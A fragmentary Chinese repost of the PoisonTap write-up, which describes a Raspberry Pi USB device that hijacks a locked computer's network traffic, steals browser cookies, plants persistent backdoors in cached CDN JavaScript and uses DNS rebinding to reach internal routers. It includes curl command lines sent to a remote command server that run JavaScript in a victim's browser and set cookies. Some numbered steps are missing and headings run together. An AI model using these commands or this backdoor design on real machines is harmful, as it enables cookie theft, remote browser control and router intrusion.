poison Tap 绕过以下安全机制: 密码保护与屏幕锁定路由表优先级和和网络接口循序同源策略X-Frame-OptionsHttpOnly CookiesSameSite cookie的属性双因素/多因素验证(2FA / MFA)DNS绑定跨域资源共享(CORS)当安全标记cookie和HSTS未启用时进行HTTPS cookie 保护
PoisonTap
PoisonTap是由 价值5$的Raspberry Pi Zero构建的,除了微型USB电缆和microSD卡之外不需要任何其它额外组件,但PoisonTap可以在其它可以模拟USB小部件(如USB Armory和LAN Turtle)的设备上工作。 6park.com
6park.com
(incredible HTML5 canvas animation by Ara) Video Demo:
https://youtu.be/Aatp5gCskvk
Point of Contact: @SamyKamkar // https://samy.pl Released: November 16, 2016 Source code and download: https://github.com/samyk/poisontapHow PoisonTap Works
3.DNS绑定和DNS重绑的安全性由于耗尽DNS绑定表而被绕过。由于之前做出的成千上万次的请求,DNS不需要重新绑定,使得该攻击可以持续很长时间(感谢Matt Austin分享这种攻击思路!) 4.现在,后门强制连接到http://192.168.0.1.ip.samy.pl/PoisonTap,任何对192.168.0.1.ip.samy.pl的请求都将命中非固定的IP地址,导致192.168.0.1 以解析,直接指向路由器 5.这意味着如果通过后门远程在iframe中加载192.168.0.1.ip.samy.pl/PoisonTap主机,你可以对内部路由器上的任何其他页面执行AJAX GET / POST,完全远程,从而允许远程访问内部路由器 这可能导致对路由器的其它攻击,攻击者可能从来没有访问过,例如路由器上的默认管理员凭据用于覆盖DNS服务器或暴露的其他身份验证漏洞
6park.com
Recap of the DNS server: [ip.addy].ip.samy.pl normally responds with [ip.addy] 192.168.0.1.ip.samy.pl -> 192.168.0.1 (A record) [ip.addy].pin.ip.samy.pl temporarily (~5 seconds) points *.ip.samy.pl to [ip.addy] 1.0.0.1.pin.ip.samy.pl -> 1.0.0.1 192.168.0.1.ip.samy.pl -> 1.0.0.1 (A record, short TTL) (after ~5 seconds) 192.168.0.1.ip.samy.pl -> 192.168.0.1 (A record)
基于web远程访问的其它后门
1.此外,PoisonTap替代了成千上万的常见的,基于CDN的Javascript文件,如谷歌和jQuery CDNs。在确定安全的代码加上一个后门,可以让攻击者访问任何域时加载受感染的基于CDN的Javascript文件 2.由于每个域上都留有后门,即使当前受害者没有对当前域任何开放任何窗口,攻击者几乎可以远程强制后端浏览器在任何主域上执行同源请求(AJAX GET / POST) 3.当受害者访问网站时,后门现在可以在任何额外的网站上使用这些受感染的,基于HTTP的CDN Javascript框架 6park.com
ackdoor.html:每当一个http://hostname/PoisonTap URL命中exfiltrate cookies,这个文件是作为强制缓存的内容返回。它包含一个后门,生成一个出站websocket到samy.pl:1337(可调整到任何主机/端口),保持打开等待服务器的命令。当你在网站上加载iframe(如http://hostname/PoisonTap)时,这意味着这是被填充的内容(即使PoisonTap从计算机中删除)。backend_server.js :这是你在Internet可访问的服务器上运行的Node.js服务器。 这是正是backdoor.html连接的内容(例如,samy.pl:1337)。 这是你连接到发送命令到你的PoisonTapped minion机器相同的服务器,例如# pop alert to victim curl 'http://samy.pl:1337/exec?alert("muahahahaha")' # to set a cookie on victim curl 'http://samy.pl:1337/exec?document.cookie="key=value"' # to force victim to load a url via ajax (note, jQuery is stored inside the backdoor) curl 'http://samy.pl:1337/exec?$.get("http://192.168.0.1.ip.samy.pl/login",function(d){console.log(d)})' pi_poisontap.js:它通过Raspberry Pi Zero上的Node.js运行,是PoisonTap是负责截获的来自HTTP服务器的任何请求的,是存储Cookie和注入缓存的后门。pi_startup.sh:它在Raspberry Pi Zero上启动时运行,以便将设备设置为模拟USB以太网小配件,为我们设置恶意DHCP服务器,允许流量重走,DNS欺骗,并启动上面的pi_poisontap.js。target_backdoor.js: 此文件预先放在任何与CDN相关的Javascript文件中,从而将其封锁。target_injected_xhtmljs.html:这是在受害者的机器上注入无意/后台HTTP / AJAX请求并产生整个攻击的代码。它的构造方式使得它可以解释为HTML或Javascript,并且仍然执行相同的代码。poisontap.cookies.log: 一旦用户的计算机开始向PoisonTap发送HTTP请求,并且记录来自浏览器的cookie及其所属的相关URL /域,就会生成此文件。